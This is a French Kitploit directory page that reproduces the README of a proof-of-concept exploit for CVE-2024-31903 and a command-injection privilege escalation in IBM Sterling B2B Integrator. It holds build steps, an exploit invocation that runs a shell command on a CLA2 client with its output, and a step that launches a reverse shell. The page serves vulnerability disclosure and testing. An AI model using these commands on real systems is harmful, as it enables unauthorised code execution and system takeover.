Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
ibm-sterling-b2b-integrator-poc — Code PoC pour les attaques LPE et RCE (CVE-2024-31903) contre l'IBM Sterling B2B Integrator | Kitploit
Outils/GitHubGitHub/reverseclabs/ibm-sterling-b2b-integrator-poc
Analyse des VulnérabilitésExploitationTests d'IntrusionCommandement et ContrôleDéveloppement de Charges UtilesExploitation de Binaires
GitHubreverseclabs/ibm-sterling-b2b-integrator-poc

ibm-sterling-b2b-integrator-poc

Code PoC pour les attaques LPE et RCE (CVE-2024-31903) contre l'IBM Sterling B2B Integrator

Voir le dépôt
116il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

IBM Sterling B2B Integrator - Preuve de concept

Code de preuve de concept pour l'exploitation des vulnérabilités découvertes contre IBM Sterling B2B Integrator, versions 6.2.0.0 à 6.2.0.2, et 6.0.0.0 à 6.1.2.5 pour les systèmes Linux, Windows et AIX :

  • Injection de commande LPE - si l'authentification est désactivée
  • RCE par désérialisation avant authentification - identifié comme CVE-2024-31903, voir l'avis IBM correspondant ici : https://www.ibm.com/support/pages/node/7172233

Plus de détails sur ces problèmes peuvent être trouvés dans ma présentation DistricCon « To B or not 2B: Breaking the IBM B2B Integrator with, and without authentication » :

https://www.districtcon.org/bios-and-talks-2025/to-b-or-not-to-b

Structure du dépôt

La plupart du code de ce dépôt concerne l'attaque par injection de commande LPE.

Le client binaire Python bin_client.py peut être utilisé pour envoyer manuellement des messages à CLA2, permettant l'exploitation de la vulnérabilité RCE par désérialisation.

Utilisation

$ java Main
$ Usage: Main <cmdLine> <outfile_or_SEND> [host] [port]

Le PoC accepte deux paramètres :

  • La commande shell à exécuter par le client CLA2 cible
  • Un chemin pour écrire le message Java sérialisé sur le disque, pour être ensuite analysé/envoyé manuellement avec quelque chose comme bin_client.py, ou la chaîne « SEND » pour l'envoyer immédiatement à l'hôte:port où un client CLA2 écoute

Instructions

Le code source inclus dans ce dépôt est volontairement incomplet, car certaines classes du sous-système CLA2 sont nécessaires. Selon les permissions du système de fichiers du répertoire d'installation, vous pourriez accéder aux fichiers JAR

En supposant que vous ayez récupéré les fichiers pertinents de la décompilation du JAR. Ne seront pas téléchargés ici car ils constituent de la propriété intellectuelle d'IBM

  1. Décompiler CLA2Client.jar

  2. Dans le code décompilé, localisez les fichiers CmdLine2Result.java et CmdLine2Parms.java

  3. Copiez et collez-les à côté de Main.java pour reproduire la structure de répertoire du package Java de l'application d'origine

/src/com/sterlingcommerce/woodstock/services/cmdline2/
  1. Compilez le programme PoC - idéalement en utilisant le JDK fourni par l'application
${B2BHOME}/INSTALL/jdk/bin/javac src/com/sterlingcommerce/woodstock/services/cmdline2/*.java
  1. Exécutez-le - là encore, en utilisant le JDK fourni par l'application si possible
${B2BHOME}/appl/SFG/INSTALL/jdk/bin/java -classpath src/ com.sterlingcommerce.woodstock.services.cmdline2.Main '/bin/sh -c "id > /tmp/result"' SEND 127.0.0.1 5052
[+] Creating object...
[+] Sending object to 127.0.0.1:5052...
[+] ...Sent!
[+] Receiving header...
[+] ...header received: RESULT
[+] Receiving result...
[+] Result received:
##[DEBUG]## CmdLine2Result:
fileSize=0
outputNameLong=null
outputNameShort=null
******* end of CmdLine2Result *******
[+] clr.statusRpt:       null
[+] clr.exceptionString: null
[+] clr.somethingToLog:  CmdLine2Thread.runCommand: cmdLine before execution=/bin/sh -c "id > /tmp/result"
##[REMOTE DEBUG]## parm0=/bin/sh
##[REMOTE DEBUG]## parm1=-c
##[REMOTE DEBUG]## parm2=id > /tmp/result 
  1. (Optionnel) Pour obtenir un shell entièrement interactif, téléchargez les scripts revshell.py et revshell_listener.py sur le système cible, puis démarrez le listener. Ensuite, remplacez le paramètre de commande du PoC par un appel du script de shell inversé comme ci-dessous :
${B2BHOME}/INSTALL/jdk/bin/java -classpath src/ com.sterlingcommerce.woodstock.services.cmdline2.Main 'python3 /tmp/revshell.py 9090' SEND
Télécharger l’outil